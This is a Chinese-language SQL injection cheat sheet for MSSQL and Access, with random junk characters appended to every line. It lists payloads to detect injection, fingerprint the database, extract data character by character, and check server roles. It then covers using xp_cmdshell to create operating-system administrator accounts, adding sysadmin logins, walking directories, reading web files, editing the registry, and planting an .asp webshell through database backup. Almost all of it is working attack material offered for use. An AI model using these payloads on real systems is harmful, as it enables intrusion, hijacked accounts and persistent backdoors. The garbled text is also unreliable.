1.判断是否有注入;and 1=1 ;and 1=2 jJ-C\
v
2.初步判断是否是mssql ;and user>0 gO)":!_n W
YSB=nd_
3.注入参数是字符'and [查询条件] and ''=' d^J)Mhju
PZ`11#bbm
4.搜索时没过滤参数的'and [查询条件] and '%25'=' zj(V\y&H
#]6{>n1*+w
5.判断数据库系统 yCA8/)>Gm
ma+AFCi
;and (select count(*) from sysobjects)>0 mssql ~\AF\n%
kiyc ^s
;and (select count(*) from msysobjects)>0 access Ix}6%2\
/Q3\6DCl
0Sz[u\w
s5rD+g]E`
6.猜数据库 ;and (select Count(*) from [数据库名])>0 @"MQ6u G>
[8^q3o7n
7.猜字段 ;and (select Count(字段名) from 数据库名)>0 EEnl'
/aMOZ=,q}
8.猜字段中记录长度 ;and (select top 1 len(字段名) from 数据库名)>0 aWlIq(dU
hxK;f
9.(1)猜字段的ascii值(access) \xbUr`WBY
\hZ%NLj
;and (select top 1 asc(mid(字段名,1,1)) from 数据库名)>0 oda,
KbtV>
(2)猜字段的ascii值(mssql) huS*1xl
kaXq.
;and (select top 1 unicode(substring(字段名,1,1)) from 数据库名)>0 pmvd%X\f
];4!0\M
10.测试权限结构(mssql) U: Wet,
YcX\t6VK
gK9d `5
w3ni@'X8
;and 1=(select IS_SRVROLEMEMBER('sysadmin'));-- ?h&?`WO(
Hcwfe=K&/
;and 1=(select IS_SRVROLEMEMBER('serveradmin'));-- J-Tiwl
Zi.' V
;and 1=(select IS_SRVROLEMEMBER('setupadmin'));-- $\Y&2&1s
pITF%J@_]
;and 1=(select IS_SRVROLEMEMBER('securityadmin'));-- xE
w\'tH
Pv/v=s>X
;and 1=(select IS_SRVROLEMEMBER('diskadmin'));-- XWnP(C9?
w$6Z}M1d
;and 1=(select IS_SRVROLEMEMBER('bulkadmin'));-- R-j*fO}
GPK\nz}
;and 1=(select IS_MEMBER('db_owner'));-- 1*Pxndt&
|[IyqWG9
C_kuW+H
} P ,"
11.添加mssql和系统的帐户 z&tC5]#
QJRnpN/
;exec master.dbo.sp_addlogin username;-- sHc-xnd
;exec master.dbo.sp_password null,username,password;-- (X,i,qK/
xBA"w:<
;exec master.dbo.sp_addsrvrolemember sysadmin username;-- #aU!f"SS
*>KBDFI
;exec master.dbo.xp_cmdshell 'net user username password >e>3:~&2
NeG`D'
/workstations:*/times:all/passwordchg:yes /passwordreq:yes /active:yes /add';-- Q`<{cFsU
xlS*9>Ij
;exec master.dbo.xp_cmdshell 'net user username password /add';-- f4b9o[,s2e
P .m@|w&.K
;exec master.dbo.xp_cmdshell 'net localgroup administrators username /add';-- .Mb[j1L^
ur\6~'l4
dY S(}U
Rbf6/C
12.(1)遍历目录 ,
:#bo]3
YE{ [f@i0
;create table dirs(paths varchar(100), id int) Qk:Lo*!
mGj)Zrx>
;insert dirs exec master.dbo.xp_dirtree 'c:\' 5M~{MdF|.
`a4&_`E,p
;and (select top 1 paths from dirs)>0 5b7(^T^K
hOUH1m.
;and (select top 1 paths from dirs where paths not in('上步得到的paths'))>) 'UIFP#GtFO
*G>
x07S)~
#@$80eFq
*uhQP47B
(2)遍历目录 ,UMr_ e{|
I[Lg0H8
;create table temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255));-- /;#kV]nF
;insert temp exec master.dbo.xp_availablemedia;-- 获得当前所有驱动器 &,k!,<IF
%- 540V{q
;insert into temp(id) exec master.dbo.xp_subdirs 'c:\';-- 获得子目录列表 *y?HaU
#`*uX6C
;insert into temp(id,num1) exec master.dbo.xp_dirtree 'c:\';-- 获得所有子目录的目录树构 j#n ]q{s4
jU j\<aW
;insert into temp(id) exec master.dbo.xp_cmdshell 'type c:\web\index.asp';-- 查看文件的内容 P3&s<mh
MO8}i?u=z
M\C9^DX{
q`'f
/CS
13.mssql中的存储过程 OuTV74
M?eP1v:<+G
xp_regenumvalues 注册表根键, 子键 e$Ds2%SaT
j8`
B
;exec xp_regenumvalues 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Run' 以多个记录集方式返回所有键值 "/aZ*mkjfJ
PN
l/}'
xp_regread 根键,子键,键值名 0\tac/
AygdAg'\
;exec xp_regread
0Idek
]`&_!T
'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','CommonFilesDir' 返回制定键的值 bE
!SW2:M
q !z"YpYB
xp_regwrite 根键,子键, 值名, 值类型, 值 SH{@yS[c!
xz8e1M
值类型有2种REG_SZ 表示字符型,REG_DWORD 表示整型 ltNCti{Q
o+E~iCu5
;exec xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName','reg_sz','hello' 写入注册表 G&g;ROgY
0+FPAqX
xp_regdeletevalue 根键,子键,值名 .n]"vpWm[
j#5a&Z
exec xp_regdeletevalue 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName' 删除某个值 )/$J$'mcxd
BV~J*e
xp_regdeletekey 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Testkey' 删除键,包括该键下所有值 $vegU]-R
sN[}B{+
Ay?<~)H
O2{["c
e
14.mssql的backup创建webshell SH?McBxS
#Q8_:dPY
use model f1 x&Fk
.5
.(S^u
create table cmd(str image); Z@0tZ^V{
?.46X^
insert into cmd(str) values (''); _`udd)Y2
>&PM'k
backup database model to disk='c:\l.asp'; k<< x}=
&j F'2D^_
*-nO,K>y`
Te+(7
Z
15.mssql内置函数 el9P@r0
mAW.p=;
;and (select @@version)>0 获得Windows的版本号 r N$0qo
g-sNYd%?a
;and user_name()='dbo' 判断当前系统的连接用户是不是sa /4an@5.\C
p3=Py7iz
;and (select user_name())>0 爆当前系统的连接用户 m)tu~neM
JQ1MuE'
;and (select db_name())>0 得到当前连接的数据库 ]/=R ABi
S0^a)#D &
7S a9
R.^]{ 5
16.简洁的webshell f*o
Njc@5*rJ&
use model VHD+NY/
WywS1viD
create table cmd(str image); Dp([r
%F 2h C
x
insert into cmd(str) values (''); {rKC4:
h3?>jE=H
backup database model to disk='g:\wwwtest\l.asp';